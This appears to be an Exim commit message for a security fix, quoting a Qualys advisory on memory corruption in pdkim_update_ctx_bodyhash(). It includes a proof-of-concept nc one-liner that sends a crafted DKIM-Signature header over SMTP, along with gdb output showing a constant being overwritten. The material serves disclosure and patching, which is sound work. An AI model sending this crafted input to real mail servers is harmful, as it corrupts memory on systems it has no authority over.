SECURITY: Avoid memory corruption in dkim handling

Credits: Qualys

    6/ In src/pdkim/pdkim.c, pdkim_update_ctx_bodyhash() is sometimes called
    with a global orig_data and hence canon_data, and the following line can
    therefore modify data that should be constant:

     773   canon_data->len = b->bodylength - b->signed_body_bytes;

    For example, the following proof of concept sets lineending.len to 0
    (this should not be possible):

    (sleep 10; echo 'EHLO test'; sleep 3; echo 'MAIL FROM:<>'; sleep 3; echo 'RCPT TO:postmaster'; sleep 3; echo 'DATA'; date >&2; sleep 30; printf 'DKIM-Signature:a=rsa-sha1;c=simple/simple;l=0\r\n\r\n\r\nXXX\r\n.\r\n'; sleep 30) | nc -n -v 192.168.56.102 25

    (gdb) print lineending
    $1 = {data = 0x55e18035b2ad "\r\n", len = 2}
    (gdb) print &lineending.len
    $3 = (size_t *) 0x55e180385948 <lineending+8>
    (gdb) watch *(size_t *) 0x55e180385948

    Hardware watchpoint 1: *(size_t *) 0x55e180385948
    Old value = 2
    New value = 0
    (gdb) print lineending
    $5 = {data = 0x55e18035b2ad "\r\n", len = 0}
